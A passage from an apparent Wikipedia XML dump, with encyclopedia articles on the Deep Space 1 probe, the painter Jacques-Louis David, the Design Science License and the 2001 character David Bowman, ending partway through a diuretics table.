It was thought that the ion exhaust might interfere with other spacecraft systems, such as radio communications or the science instruments.  The PEPE detectors had a secondary function to monitor such effects from the engine.  No interference was found.

Another failure was the loss of the star tracker.  The star tracker determines spacecraft orientation by comparing star fields to its internal charts.  The mission was saved when the MICAS camera was reprogrammed to stand in for the star tracker.  Although MICAS is more sensitive, its field-of-view is an order of magnitude smaller, creating a higher processing burden.  Ironically, the star tracker was an off-the-shelf component, expected to be highly reliable.

Without a working star tracker, ion thrusting was temporarily suspended.  The loss of thrust time forced the cancellation of a flyby past Comet Wilson-Harrington.

The Autonav system required a couple of manual corrections, mostly for problems with identifying objects that were not bright enough or were difficult to identify because of the [[interference]] of light.  Objects within the field generated spurious reflections into the instrument.

The MICAS instrument was a design success, but the ultraviolet channel failed due to an electrical fault.  No useable data was returned.

The flyby of Braille was only a partial success. Deep Space 1 was intended to perform the flyby at 56,000 km/h at only 240 meters from the asteroid. Due to technical difficulties, including a software crash shortly before approach, the craft instead passed Braille at a distance of 26 km.  This, plus Braille's lower [[albedo]], meant that the asteroid was not bright enough for the autonav to focus the camera in the right direction, and the picture shoot was delayed by almost an hour. The resulting pictures were disappointingly indistinct.

However, the flyby of Comet Borrelly was a great success and returned extremely detailed images of the comet's surface.  Such images were of higher resolution than the only previous pictures, of [[Comet Halley|Halley's Comet]] taken by the [[Giotto mission|Giotto]] spacecraft.  The PEPE instrument reported that the comet's fields were offset from the nucleus.  This is believed to be due to emission of jets, which were not distributed evenly across the comet's surface.

Despite having no debris shields, the DS1 spacecraft survived the comet passage intact.  Once again, the sparse comet jets did not appear to point towards the spacecraft.  The spacecraft eventually went dead when it ran out of [[hydrazine]] fuel for its steering thrusters.  Without these thrusters, the spacecraft could not maintain the pointing of its solar arrays toward the Sun.  

==Statistics==
* the mass of the craft: 486.32 kg (1072 lb 2 oz) (including fuel)
* total cost: $149.7 million
* development cost: $94.8 million
* prime contractor: Spectrum Astro
* launch site: Cape Canaveral Air Station, Florida
* launch vehicle: Boeing [[Delta II]], a 7326-model
* maximum power: 2500 W (of which 2100 W powers the ion thrust engine)
* project manager: Dr. Marc Rayman

See also: [[Unmanned space missions]]

==External links==
* [http://www.astronautix.com/craft/deepace1.htm The Encyclopedia Astronautica]
* [http://nmp.jpl.nasa.gov/ds1/ Deep Space 1 website at the Jet Propulsion Laboratory (JPL)]

[[Category:NASA probes]]
[[Category:New Millennium program]]

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    </revision>
  </page>
  <page>
    <title>King David</title>
    <id>9071</id>
    <revision>
      <id>15906991</id>
      <timestamp>2002-09-02T03:50:25Z</timestamp>
      <contributor>
        <username>Andre Engels</username>
        <id>300</id>
      </contributor>
      <minor />
      <comment>moved to David</comment>
      <text xml:space="preserve">#REDIRECT [[David]]</text>
    </revision>
  </page>
  <page>
    <title>Jacques-Louis David</title>
    <id>9072</id>
    <revision>
      <id>41618233</id>
      <timestamp>2006-02-28T15:32:55Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Wikify dates</comment>
      <text xml:space="preserve">{{cleanup-date|August 2005}}

[[Image:JacquesLouisDavid.JPG|right|thumb|200px|Self portrait ([[1794]])]]

'''Jacques-Louis David''' ([[August 30]], [[1748]] &amp;ndash; [[December 29]] [[1825]]) was a highly influential [[France|French]] [[painter]] in the [[Neoclassicism|Neoclassical]] style. In the [[1780s]] his cerebral brand of [[History painting]] marked a change in taste away from  [[Rococo]] frivolity towards a classical austerity and severity, chiming with the moral climate of the final years of the ''[[ancien régime]].

David later became an active supporter of the [[French Revolution]] and friend of [[Maximilien de Robespierre]], and was effectively a dictator of the arts under the [[French Republic]]. Imprisoned after Robespierre's fall from power, he aligned himself with yet another political regime upon his release, that of [[Napoleon I of France|Napoleon I]]. It was at this time that he developed his 'Empire style', notable for its use of warm [[Venice|Venetian]] colours. David had a huge number of pupils, making him the strongest influence in French art of the [[19th century]], especially academic [[Paris Salon|Salon]] painting.

==Early life==

Jacques-Louis David was born into a prosperous family in [[Paris]] on [[August 30]], [[1748]].  When he was nine, his father was killed in a duel, and his mother left him with his prosperous architect uncles.    They saw to it that he received an excellent education at the [[Collège des Quatre-Nations]], but he was never a good student; he had a tumor that impeded his speech, and he was always too busy drawing.  He covered his notebooks with his drawings, and he once said, “I was always hiding behind the instructor’s chair, drawing for the duration of the class.”    Soon, he desired to be a painter, but his uncles and mother wanted him to be a soldier.  He soon overcame the opposition, and went to learn from [[François Boucher]], the leading painter of the time, who was also a distant relative.  Boucher was a [[Rococo]] painter, which was falling out of style and becoming more classical.  Boucher decided that instead of taking over David’s tutelage, he would send David to his friend [[Joseph-Marie Vien]], a mediocre painter, but one that embraced the classical reaction to Rococo.  There David attended the Royal Academy, based in what is now the [[Louvre]].

David attempted to win the Prix de Rome, an art scholarship to the French Academy in [[Rome]] four times.  Once, he lost, according to legend, because he had not consulted Vien, one of the judges. Another time, he lost because a few other students had been competing for years, and Vien felt David’s education could wait for these other mediocre painters.  In protest, he attempted to starve himself to death.   Finally, in 1774, David won the Prix de Rome.  Normally, he would have had to attend another school before attending the Academy in Rome, but Vien’s influence kept him out of it.  He went to Italy with Vien in 1775, as Vien had been appointed director of the French Academy at Rome.  While in Italy, David observed the Italian masterpieces and the ruins of ancient Rome. David filled sketchbooks with material that he would derive from for the rest of his life.  While in Rome, he studied great masters, and came to favor above all others [[Raphael]].  In 1779, David was able to see the ruins of [[Pompeii]], and was filled with wonder.  After this, he sought to revolutionize the art world with the &quot;eternal&quot; concepts of classicism.

==Early work==

David's fellow students at the academy found him difficult to get along with, but they recognized his genius.  David was allowed to stay at the French Academy in Rome for an extra year, but after 5 years in Rome, he returned to Paris.  There, he found people ready to use their influence for him, and he was made a member of the Royal Academy.  He sent two paintings to the royal academy, and both were included in the [[Paris Salon|Salon]] of 1781, a high honor.  He was praised by his famous contemporary painters, but the administration of the Royal Academy was very hostile to this young upstart.  After the Salon, the King granted David lodging in the Louvre, an ancient and much desired privilege of great artists.  When the contractor of the King's buildings, M. Pecol, was arranging with David, he asked the artist to marry his daughter, Marguerite Charlotte.  This marriage brought him money and eventually four children.  David had his own pupils, about 40 to 50, and was commissioned by the government to paint &quot;Horace defended by his Father,&quot; but Jacques soon decided, &quot;Only in Rome can I paint Romans.&quot;  His father in law provided the money he needed for the trip, and David headed for Rome with his wife and his favorite student, the Prix de Rome winner of that year.  In Rome, David painted his famous ''[[Oath of the Horatii]]''. &quot;This painting occupies an extremely important place in the body of David’s work and in the history of French painting. The story was taken from [[Livy]]. We are in the period of the wars between Rome and Alba, in 669 B.C. It has been decided that the dispute between the two cities must be settled by an unusual form of combat to be fought by two groups of three champions each. The two groups are the three Horatii brothers and the three Curiatii brothers. The drama lay in the fact that one of the sisters of the Curiatii, Sabina, is married to one of the Horatii, while one of the sisters of the Horatii, Camilla, is betrothed to one of the Curiatii. Despite the ties between the two families, the Horatii's father exhorts his sons to fight the Curiatii and they obey, despite the lamentations of the women.&quot; 

[[Image:David - Oath of the Horatii.JPG|left|thumb|320px|''[[Oath of the Horatii]]'' ([[1784]])]]

Priests, cardinals, princes and princesses came to see David’s incredible work, eulogies were created for the painting, and even the Pope wanted to see ''The Oath''.  David wanted the painting in the Salon, but it arrived late, and was hung in a bad position by people opposed to David at the Academy.  Finally, public uproar made it necessary to move the painting to a better position. In 1787, David did not become the Director of the French Academy in Rome, a position he wanted dearly.  The Count in charge of the appointments said David was too young, but said he would support Jacques in 6 to 12 years.  This situation would be one of many that would cause him to lash out at the Academy in years to come.

For the salon of 1787, David exhibited his famous ''Death of Socrates''.  &quot;Condemned to death, Socrates, strong, calm and at peace, discusses the immortality of the soul. Surrounded by Crito, his grieving friends and students, he is teaching, philosophizing, and in fact, thanking the God of Health, Asclepius, for the hemlock brew which will insure a peaceful death… The wife of Socrates can be seen grieving alone outside the chamber, dismissed for her weakness. Plato (not present when Socrates died) is depicted as an old man seated at the end of the bed.&quot; Critics compared the Socrates with [[Michelangelo]]’s [[Sistine Chapel|Sistine Ceiling]] and Raphael's Stanze, and one, after ten visits to the Salon, described it as &quot;in every sense perfect&quot;. [[Denis Diderot]] said it looked like he copied it from some ancient [[bas-relief]]. The painting was very much in tune with the political climate at the time. For this painting, David was not honored by a royal &quot;works of encouragement&quot;.

For his next painting, David painted ''The Lictors Bring to Brutus the Bodies of His Sons''.  The work had tremendous appeal for the time.  Before the opening of the Salon, the [[French Revolution]] had begun. The [[National Assembly (French Revolution)|National Assembly]] had been established, and the [[Bastille]] had fallen.  The royal court did not want propaganda agitating the people, so all paintings had to be checked before being hung. Some portraits of famous people were banned, like the portrait of a chemist who happened to be a member of an ill-favored party.  When the newspapers reported that the government had not allowed the showing of ''The Lictors Bring to Brutus the Bodies of His Sons'', the people were outraged, and the royals gave in.  The painting was hung in the exhibition, protected by art students.  The painting depicts [[Lucius Junius Brutus]], the Roman leader, grieving for his sons. Brutus's sons had attempted to overthrow the government and restore the monarchy, so the father ordered their death to maintain the republic.  Thus, Brutus was the heroic defender of the republic, at the cost of his own family.  On the right, the Mother holds her two daughters, and the grandmother is seen on the far right, in anguish.  Brutus sits on the left, alone, brooding, but knowing what he did was best for his country.  The whole painting was a Republican symbol, and obviously had immense meaning during these times in France.

==The Revolution==

At the very beginning, David was a supporter of the Revolution, a friend of [[Robespierre]] and a [[Jacobin]].  While others were leaving the country for new and greater opportunities, David stayed to help destroy the old order.  It doesn’t make much sense why he did this: there were many more opportunities for him under the King than the new order.  Some people suggest David’s love for the classical made him embrace everything about that period, including a republican government.
Others believed that they found the key to the artist’s revolutionary career in his personality. Undoubtedly, David’s artistic sensibility, mercurial temperament, volatile emotions, ardent enthusiasm, and fierce independence might have been expected to help turn him against the established order but they did not fully explain his devotion to the republican regime. Nor did the vague statements of those who insisted upon his “powerful ambition. . . and unusual energy of will” actually account for his revolutionary connections.  Those who knew him maintained that “generous ardor,” high-minded idealism and well meaning, though sometimes fanatical, enthusiasm rather than selfishness and jealousy, motivated his activities during this period.”  

Soon, David turned his critical sights on Royal Academy of Painting and Sculpture.  This attack was probably caused primarily by hypocrisy of the organization and, and their personal opposition against his work, as seen in previous episodes in David’s life.  The Royal Academy was chock full of royalists, and David’s attempt to reform it did not go over well with the members.  However, the deck was stacked against this symbol of the old republic, and the National Assembly ordered it to make changes to conform to the new constitution. 

David then began work on something that would later hound him: propaganda for the new republic.  David’s painting of Brutus was shown during the play ''Brutus'', by the famous Frenchman, [[Voltaire]].  The people responded in an uproar of approval.   On [[June 20]] [[1790]], the anniversary of the first act of defiance against the King, the oath of the tennis court was celebrated.  Wanting to commemorate the event in a painting, the Jacobins, revolutionaries that had taken to meeting in the Jacobin Monastery, decided that they would choose the painter whose “genius anticipated the revolution.”  David accepted, and began work on a mammoth canvas.  The picture was never fully completed, because of its immense size (35ft. by 36ft.) and because people that needed to sit for it disappeared in the [[Reign of Terror]], but several finished drawings exist. 

When Voltaire died in 1778, the church denied him a church burial, and his body was interred near a monastery.  A year later, Voltaire’s old friends began a campaign to have his body buried in the [[Panthéon, Paris|Panthéon]], as church property had been confiscated by the French Government.   David was appointed to head the organizing committee for the ceremony, a parade through the streets of Paris to the Panthéon.  Despite rain, and opposition from conservatives based on the amount of money that was being spent, the procession went ahead.  Up to 100,000 people watched the “Father of the Revolution” be carried to his resting place.  This was the first of many large festivals organized by David for the republic.   He went on to organize festivals for martyrs that died fighting royalists.  These funerals echoed the religious festivals of the pagan Greeks and Romans and are seen by many as Saturnalian.

In 1791, the King attempted to flee the country, and the emperor of Austria announced his intention to restore the monarchy.  In reaction, the people arrested the King.  The monarchy was finally destroyed by the French people in 1792.   When the new National Convention held its first meeting, David was sitting with his friends [[Jean-Paul Marat]] and Robespierre.  In the Convention, David soon earned a nickname: “ferocious terrorist.”   Soon, Robespierre’s agents discovered a secret vault of the king’s proving he was trying to overthrow the government, and demanded his execution.  The National Convention held the trial of [[Louis XVI of France|Louis XVI]] and David voted for the death of the King, which caused his wife, a royalist, to divorce him. 

When Louis XVI was executed on [[January 21]] [[1793]], another man died as well — [[Louis Michel le Peletier, de Saint-Fargeau]].  Le Peletier was killed by a royal bodyguard for voting for the death of the King.  David was called upon once again to organize a funeral, and David painted ''Le Peletier Assassinated''.  It depicts a bloody sword  hanging from a thread, thrust through a note that states “I vote the death of the tyrant.”  Le Peletier’s body is below this sword.   The painting has disappeared, and is known only by a drawing, contemporary accounts and an engraving. 

[[Image:Jacques-Louis David - La Mort de Marat.jpg|right|thumb|200px|''The Death of [[Jean-Paul Marat|Marat]]'' ([[1794]])]]

Soon, David’s friend Marat was assassinated by [[Charlotte Corday]], a woman of an opposing political party, whose name can be seen in the note Marat holds in David’s painting.  David once again organized a spectacular funeral, and Marat was buried in the Panthéon.  Marat died in the [[bathtub]], writing.  David wanted to have his body submerged in the bathtub during the funeral procession, but the body had begun to putrefy too much.  Instead, Marat’s body was periodically sprinkled with water as the people came to see his corpse, complete with gaping wound. David later completed his perhaps most famous painting, ''The Death of Marat'', which has been called the [[Pietà]] of the revolution.   Upon presenting the painting to the convention, he said “Citizens, the people were again calling for their friend; their desolate voice was heard: David, take up your brushes.., avenge Marat... I heard the voice of the people. I obeyed.”  David had to work quickly, but the result was a simple and powerful image. Everything in the picture leads back to Marat’s head.  

After killing the King, war broke out between the new Republic and virtually every major power in Europe, and the wars France fought went very poorly.  The [[Committee of Public Safety]], headed by Robespierre, came to be virtual dictator of the country, and set grain prices for Paris.  The committee was severe; [[Marie Antoinette]] went to the guillotine, an event recorded in famous sketch by David.  Portable guillotines killed failed generals, aristocrats, priests and perceived enemies.  David organized his last festival: the festival of the Supreme Being.  Robespierre had realized what a tremendous propaganda tool these festivals were, and he decided to create a new religion, mixing moral ideas with the republic, based on the ideas of Rousseau, with Robespierre as the new high priest.  This process had already begun by confiscating church lands and requiring priests to take an oath to the state.  The festivals, called fêtes, would be the method of indoctrination.  On the appointed day, 20 Prarial by the [[French Republican Calendar|revolutionary calendar]], Robespierre spoke, descended steps, and with a torch presented to him by David, incinerated a cardboard image symbolizing atheism, revealing an image of wisdom underneath.  The festival hastened the “incorruptible’s” downfall.  The people were tired of his dictatorship.  Later, some see David’s methods as being taken up by [[Lenin]], [[Mussolini]] and [[Hitler]].  These massive propaganda events brought the people together.  France tried to have festivals in the [[United States of America|United States]], but soon received word that “to tell the truth, these methods, excellent in France where the mass of the people take part, have here only a shabby air.”  

Soon, the war began to go well; French troops marched across [[Belgium]], and the emergency that had placed the Committee of Public Safety in control was no more.  Then, plotters seized Robespierre at the National Convention.   During this seizure, David yelled to his friend “if you drink [[hemlock]], I shall drink it with you.”  After all this excitement, he fell ill, and did not attend the evening session, which saved him from being guillotined as Robespierre.  David was arrested and placed in prison.  There David painted his self portrait, and his jailer's portrait.

==Post Revolution==
After David’s wife visited him in jail, he conceived the idea of telling the story of the [[Sabine|Sabine Women]].  ''The Sabine Women Enforcing Peace by Running between the Combatants'', also called ''The Intervention of the Sabine Women'' is said to have been painted to honor his wife, with the theme being love prevailing over conflict. The painting was also seen as a plea for the people to reunite after the bloodshed of the revolution. 

[[Image:Sabine women.jpg|right|thumb|300px|''The Intervention of the Sabine Women'']] 

This work also brought him to the attention of [[Napoleon I of France|Napoleon]]. The story for the painting is as follows: “The Romans have abducted the daughters of their neighbors, the Sabines. To avenge this abduction, the Sabines attacked Rome, although not immediately – since Hersilia, the daughter of Tatius, the leader of the Sabines, had been married to [[Romulus]], the Roman leader, and then had two children by him in the interim. Here we see Hersilia between her father and husband as she adjures the warriors on both sides not to take wives away from their husbands or mothers away from their children. The other Sabine Women join in her exhortations.”    During this time, the martyrs of the revolution were taken from the Panthenon and buried in common ground, and revolutionary statues were destroyed.  When he was finally released to the country, France had changed.  His wife managed to get David released from prison, and he wrote letters to his former wife, and told her he never ceased loving her.   He remarried her in 1796.  Finally, wholly restored to his position, he retreated to his studio, took pupils and retired from politics.  During this time in prison, 1784-1794, some of his greatest works were completed.

==Napoleon==

In one of history's great coincidences, David's close association with the Committee of Public Safety during the Terror resulted in his signing of the death warrant for one Alexandre de Beauharnais, a minor noble.  De Beauharnais's widow, [[Joséphine de Beauharnais|Rose-Marie Josephe de Tascher de Beauharnais]] would later be known to the world as Josephine Bonaparte, Empress of the French.  It was her coronation by her husband, Napoleon I, that David depicted so memorably in the &quot;Coronation of Napoleon and Josephine, 2&amp;nbsp;December 1804&quot;. 

David had been an admirer of Napoleon from their first meeting, struck by the then-General Bonaparte's classical features.  Requesting a sitting from the busy and impatient general, David was able to sketch Napoleon in 1797.  David recorded the conqueror of Italy's face, but the full composition of General Bonaparte holding the peace treaty with Austria remains unfinished.  Napoleon had high esteem for David, and asked him to accompany him to [[Egypt]] in 1798, but David refused, claiming he was too old for adventuring and sending instead his student, [[Antoine-Louis Gros]].  

After Napoleon's [[18 Brumaire|successful coup d'etat]] in 1799, as First Consul he commissioned David to commemorate his daring crossing of the Alps.  The crossing of the St. Bernard Pass had allowed the French to surpise the Austrian army and win victory at the [[Battle of Marengo]] on [[June 14]] [[1800]].  Although Napoleon had crossed the Alps on a mule, he requested that he be &quot;portrayed calm upon a fiery horse.&quot;  David complied with &quot;Napoleon Crossing the Saint-Bernard.&quot;  After the proclamation of the Empire in 1804, David became the official court painter of the regime.  

[[Image:David-Napoleon.png|left|thumb|200px|''[[Napoleon I of France|Napoleon]] Crossing the Alps'' ([[1801]])]]

One of the works David was commissioned for was ''The Coronation of Napoleon in Notre Dame''.  David was permitted to watch the event.  He had plans of [[Notre Dame de Paris|Notre Dame]] delivered and participants in the coronation came to his studio to pose individually, though never the Emperor (the only time David obtained a sitting from Napoleon had been in 1797).  David did manage to get a private sitting with the Empress Josephine and Napoleon's sister, [[Caroline Murat]], through the intervention of erstwhile art patron, Marshal [[Joachim Murat]], the Emperor's brother-in-law.  For his background, David had the choir of Notre Dame act as his fill-in characters.  The Pope came to sit for the painting, and actually blessed David.  Napoleon came to see the painter, stared at the canvas for an hour and said “David, I salute you.” David had to redo several parts of the painting because of Napoleon's various whims, and for this painting, David received only 24,000 Francs.  

Napoleon attempted to take over all Europe, and nearly did.  Napoleon's attempts at sea were ended by [[Horatio Nelson|Admiral Nelson]], but a combined Austrian Russian army was defeated at [[Austerlitz]] solely by the emperor, which made him master of Germany.  Napoleon, encouraged by his victories, turned to Spain, and lost slowly due to guerilla warfare backed by England.  Napoleon attempted to wipe out the Russians, but it proved his undoing.  The Russians retreated, burning everything in their path, and the winter froze the French army.  Napoleon swiftly retreated to Paris to raise a new army to counter the Quadruple Alliance of Britain, Austria, Russia and Prussia, but the alliance armies managed to drive all the way to Paris, where [[Louis XVIII of France|Louis XVIII]] took the throne.

==Exile==

After the [[House of Bourbon|Bourbons]] returned to power, David was on the list of proscribed former revolutionaries and Bonapartists, as during the French Revolution, he had voted for the execution of Louis XVI, the older brother of the new King, [[Louis XVIII]].  Louis XVIII, however, granted David amnesty and even offered David a position as a court painter.  David refused this offer, preferring instead to seek a self-imposed exile in [[Brussels]].  There, he painted ''Cupid and Psyche'' and lived out the last days of his life quietly with his wife, whom he had remarried.  During this time, he largely devoted his efforts to smaller-scale paintings of mythological scenes and to portraits of Bruxellois and Napoleonic emigres, such as the Baron Gerard.  

His last great work, ''Mars Disarmed by Venus and the Three Graces'' was begun in 1822 and was finished the year before his death. “David wanted to outdo himself once more. In December 1823, he wrote: &quot;This is the last picture I want to paint, but I want to surpass myself in it. I will put the date of my 75 years on it and afterwards I will never again pick up my brush.&quot;  The subject is taken from Greek mythology…David was faithful to the legend… The coloring is translucent and pearly, like painting on porcelain.”  The painting was first shown in [[Brussels]] and then was sent to Paris, where David's former students flocked to see the painting. The exhibit managed to bring in after operating costs, 13,000 francs, meaning there were more than 10,000 visitors, a huge amount for the time.  

When David was leaving the theater, he was hit by a carriage and later died of deformations to the heart in [[December 29]], [[1824]].  After his death, some of his portrait paintings were sold at auction in Paris, with his paintings going for very small sums.  His famous painting of Marat was shown in a special secluded room so as not to outrage the public.   David’s body was not allowed into France and was therefore buried in Brussels, but his heart was buried at [[Père Lachaise]], Paris.

==References==
* Lindsay, Jack.  Death of the Hero. London: Studio Books, 1960 pg 13-15, 18, 39-40, 73, 76, 103, 146
* [http://sunsite.dk/cgfa/jdavid/jdavid_bio.htm J.L. David] on CGFA, accessed [[29 June]] [[2005]]. 
* Dowd, David. Pageant-Master of the Republic. Lincoln: University of Nebraska Press, 1948. pg 8-12, 50, 102
* [http://endeavor.med.nyu.edu/lit-med/lit-med-db/webdocs/webart/david10-art-.html The Death of Socrates], acessed [[29 June]] [[2005]]. New York Med. 
* Chodorow, Stanley, et. al. The Mainstream of Civilization. New York: The Harcourt Press, 1994 pg. 594
* Leymarie, Jean.  ''French Painting, the 19th century''.  Cleveland: 1962 pg 21-24
* [http://www.european-history.com/davidJl.html Jacques-Louis David], on An Abridged History of Europe, accessed [[29 June]] [[2005]]. 
* [http://www.xs4all.nl/~androom/dead/david.html Jacques-Louis David, French Painter] on The Page of the Dead, accessed [[29 June]] [[2005]].

==External links==
*[http://www.abcgallery.com/D/david/david.html Jacques-Louis David at Olga's Gallery]

&lt;gallery&gt;
Image:David - Belisarius.jpg|''[[Belisarius]]'' (1781)
Image:Andromache mourns hector.jpg|''[[Andromache]] mourns [[Hector]]'' (1783)
Image:David - The Death of Socrates.jpg|''The death of [[Socrates]]'' (1787)
Image:David - Portrait of Monsieur Lavoisier and His Wife.jpg|''Portrait of [[Antoine Lavoisier|Monsieur Lavoisier]] and his wife'' (1788)
Image:Helene Paris David.jpg|''[[Paris (mythology)|Paris]] and [[Helen]]'' (1788)
Image:Madame Récamier painted by Jacques-Louis David in 1800.jpg|''[[Jeanne Françoise Julie Adélaïde Récamier|Madame Récamier]]'' (1800)
Image:Jacques-louis-david--pius-vii-1805.jpg|''[[Pope Pius VII]]'' (1805)
Image:NapoleanCoronationDavid.jpg|''Coronation of [[Napoleon I of France|Napoleon]]', 1806
Image:Napoleon_Bonaparte.jpg|''Napoleon in his study'' (1812)
Image:Leonidas.jpg|''[[Leonidas I|Leonidas]] at [[Battle of Thermopylae|Thermopylae]]'' (1814)
Image:David_Etienne_Maurice_Gerard.jpg|''[[Étienne-Maurice Gérard]]'' (1816)
Image:Marie Antoinette by David.jpg|[[Marie Antoinette]] on the Way to the [[Guillotine]], [[1793]] [[October 16]]
&lt;/gallery&gt;

{{commons|Jacques-Louis David}}

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[[Category:French Revolution|David, Jacques-Louis]]
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  </page>
  <page>
    <title>Denary</title>
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  <page>
    <title>Design Science License</title>
    <id>9074</id>
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      <text xml:space="preserve">'''Design Science License''' (DSL) is a [[copyleft]] license for [[free content]] such as text, images, and music. The DSL was written by Michael Stutz.

The original website for the DSL was Michael Stutz's site at http://www.dsl.org/. However, the site has been taken down. The [[Free Software Foundation]] has a [http://www.gnu.org/licenses/dsl.html copy of the DSL text]. 


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  <page>
    <title>David Bowman</title>
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      <text xml:space="preserve">[[Image:David_Bowman.jpg|right|thumb|[[Keir Dullea]] as David Bowman.]]
'''David Bowman''' is a character in the ''[[The Space Odyssey series|Space Odyssey]]'' series. He first appears in a story jointly written by [[Stanley Kubrick]] and [[Arthur C. Clarke]], called ''[[2001: A Space Odyssey (novel)|2001: A Space Odyssey]]'' (which is both a book and a movie). The character later appears in the sequel to the book, ''[[2010: Odyssey Two]]'' and the sequel to the movie, ''[[2010 The Year We Make Contact]]''. The character also returns in two more books by Arthur C. Clarke, ''[[2061: Odyssey Three]]'', and ''[[3001: The Final Odyssey]]''.

In the two movies, the character is played by [[Keir Dullea]].

{{spoiler}} 

==Bowman's history==
===''2001: A Space Odyssey''===

In both the book and movie 2001, astronaut and scientist David Bowman is on a mission to track the source of an alien artifact found on the moon, which leads to a moon around the planet [[Jupiter (planet)|Jupiter]] (in the novel, [[Saturn (planet)|Saturn]]); the story takes place in the year [[2001]]. He has to interact with both a human crewmate and an [[Artificial intelligence|intelligent]] [[supercomputer]] named [[HAL 9000]]. The HAL 9000 computer utility suffers an apparent malfunction which leads to the death of all humans on board except David Bowman. Through determination and cunning, David is able to outwit the supercomputer and regain control of the spaceship [[Discovery (fictional spaceship)|Discovery]]. Upon [[orbital insertion]] around Jupiter, however, David Bowman is confronted with a huge, black featureless monolith with the exact proportions of 1 by 4 by 9 (the squares of the first 3 [[ordinals]]). He takes a space pod to investigate, and he is greeted by arguably the most surreal sequence of [[scene]]s in [[science fiction film]] history.

===''2010: Odyssey Two'' (book) &amp;amp; ''2010: The Year We Make Contact'' (film)===

In the end of the ''2001'' movie, David Bowman is led through a metamorphosis from a material, soul-bearing being to an energy-like being.  This state, and David Bowman's incarnation of himself in this state, is referred to in the ''2010'' book as the ''Star Child''.

The visual representation of David Bowman's new state in the movie(s) is that of a variety of human David Bowman bodies at various ages (from embryo to elderly).

In the movie 2010, David Bowman attempts to communicate with the main character Dr. Heywood Floyd, by proxying messages through HAL's communication system. Dr Floyd at first assumes that HAL or another human crew member is playing a trick.  Ultimately, David shows himself to the character, to warn him that the recovery team for ''Discovery'' that has traveled to Jupiter orbit aboard the ''Leonov'' must leave within only two days (before Jupiter is artificially turned into a new star, Lucifer).

Toward the end of the 2010 story, David returns to Earth, briefly meeting with his wife and then his mother.
In the book, David as the Star Child defuses an orbiting nuclear weapon, derailing the onset of a war.

===''2061: Odyssey Three'' and ''3001: The Final Odyssey''===
In ''[[2061: Odyssey Three]]'', Heywood Floyd is surprised to encounter HAL, now stored alongside Dave Bowman in the Europa monolith.

In ''[[3001: The Final Odyssey]]'', we meet the merged forms of Dave Bowman and HAL. The two have merged into one entity called ''Halman'' after Bowman rescued HAL from the dying [[Discovery One]] spaceship towards the end of ''[[2010: Odyssey Two]]''. Halman helps [[Frank Poole]] infect the monolith (which it once served) with a [[computer virus]]; as the primitive life in Jupiter's clouds were sacrificed to make Jupiter into a sun to warm Europa, it is feared that humanity would in turn be sacrificed for the new life on Europa.

==Etymological significance of David Bowman's name==
The following is a possible etymology of the name David Bowman.  The first name &quot;David&quot; is believed to point to the biblical [[David/Biblical character|David]], who killed the much stronger [[Goliath]] through skill not power. The second name &quot;Bowman&quot; is assumed to be a reference to [[Odysseus|Ulysses]], whose skill with the bow is often described in the [[Odyssey]]. Ulysses also blinded the one-eyed [[Polyphemus]] with a trick, as Bowman deactivates one (camera) eyed HAL 9000 is quite clear. Hence a potential reason for the name of the film: &quot;2001 A Space Odyssey&quot;.  

David Bowman is also the name of an obscure American novelist. Bowman (born 1957) is the author of the novel, &quot;Let the Dog Drive&quot; and the novel, &quot;Bunny Modern.&quot;

{{Spaceodyssey}}
[[Category:Characters in written science fiction|Bowman, David]]
[[Category:Fictional astronauts|Bowman, David]]
[[Category:Space Odyssey series|Bowman, David]]
[[es:David Bowman]]</text>
    </revision>
  </page>
  <page>
    <title>Diuretic</title>
    <id>9078</id>
    <revision>
      <id>41843974</id>
      <timestamp>2006-03-02T02:40:01Z</timestamp>
      <contributor>
        <ip>169.229.73.102</ip>
      </contributor>
      <text xml:space="preserve">{| border=&quot;1&quot; cellpadding=&quot;1&quot; cellspacing=&quot;1&quot; width=&quot;400px&quot; align=&quot;right&quot; style=&quot;border-collapse: collapse; margin: 0 0 0 0.5em&quot;
|-
| bgcolor=&quot;#ffffff&quot; align=&quot;center&quot; colspan=&quot;2&quot; |
'''Classification of common diuretics and their mechanisms of action'''
|- align=&quot;center&quot; style=&quot;border-bottom: 3px solid gray&quot;
| agent
| mechanism
|-
| bgcolor=&quot;#eeeeee&quot; | '''[[Potassium-sparing diuretic|Potassium-sparing diuretics]]''' (''e.g.'', [[spironolactone]], [[amiloride]], [[triamterene]])
| bgcolor=&quot;#ddeeff&quot; | inhibition within collecting ducts of Na&lt;sup&gt;+&lt;/sup&gt;-K&lt;sup&gt;+&lt;/sup&gt; exchange: spironolactone inhibits aldosterone action; amiloride inhibits [[epithelial sodium channel]]s (ENaC)
|-
| bgcolor=&quot;#eeeeee&quot; | '''[[water]]'''
| bgcolor=&quot;#ddeeff&quot; | inhibits [[vasopressin]] secretion
|-
| bgcolor=&quot;#eeeeee&quot; | '''[[ethanol]]'''
| bgcolor=&quot;#ddeeff&quot; | inhibits vasopressin secretion
|-
| bgcolor=&quot;#eeeeee&quot; | '''V&lt;sub&gt;2&lt;/sub&gt; vasopressin receptor antagonists'''
| bgcolor=&quot;#ddeeff&quot; | inhibit vasopressin's action on [[nephron]]'s collecting duct  
|-
| bgcolor=&quot;#eeeeee&quot; | '''Xanthines''' (''e.g.'', [[caffeine]], [[theophylline]])
| bgcolor=&quot;#ddeeff&quot; | inhibit tubular reabsorption of Na&lt;sup&gt;+&lt;sup&gt;, increase [[glomular filtration rate]]
|-
| bgcolor=&quot;#eeeeee&quot; | '''acidifying [[salt]]s''' (''e.g.'', CaCl&lt;sub&gt;2&lt;/sub&gt;, NH&lt;sub&gt;4&lt;/sub&gt;Cl)
| bgcolor=&quot;#ddeeff&quot; | 
|-
| bgcolor=&quot;#eeeeee&quot; | '''[[carbonic anhydrase inhibitors]]''' (''e.g.'', [[acetazolamide]], [[dorzolamide]])
| bgcolor=&quot;#ddeeff&quot; | inhibit H&lt;sup&gt;+&lt;/sup&gt; secretion, resultant promotion of Na&lt;sup&gt;+&lt;/sup&gt; and K&lt;sup&gt;+&lt;/sup&gt; excretion
|-
| bgcolor=&quot;#eeeeee&quot; | '''[[loop diuretic]]s''' (''e.g.'', [[furosemide]], [[bumetanide]], [[ethacrynic acid]]) 
| bgcolor=&quot;#ddeeff&quot; | inhibit the cotransporter in the medullary thick ascending limb of the loop of Henle
|-
| bgcolor=&quot;#eeeeee&quot; | '''[[Thiazide]]s''' (''e.g.'', [[hydrochlorothiazide]], [[bendroflumethiazide]])
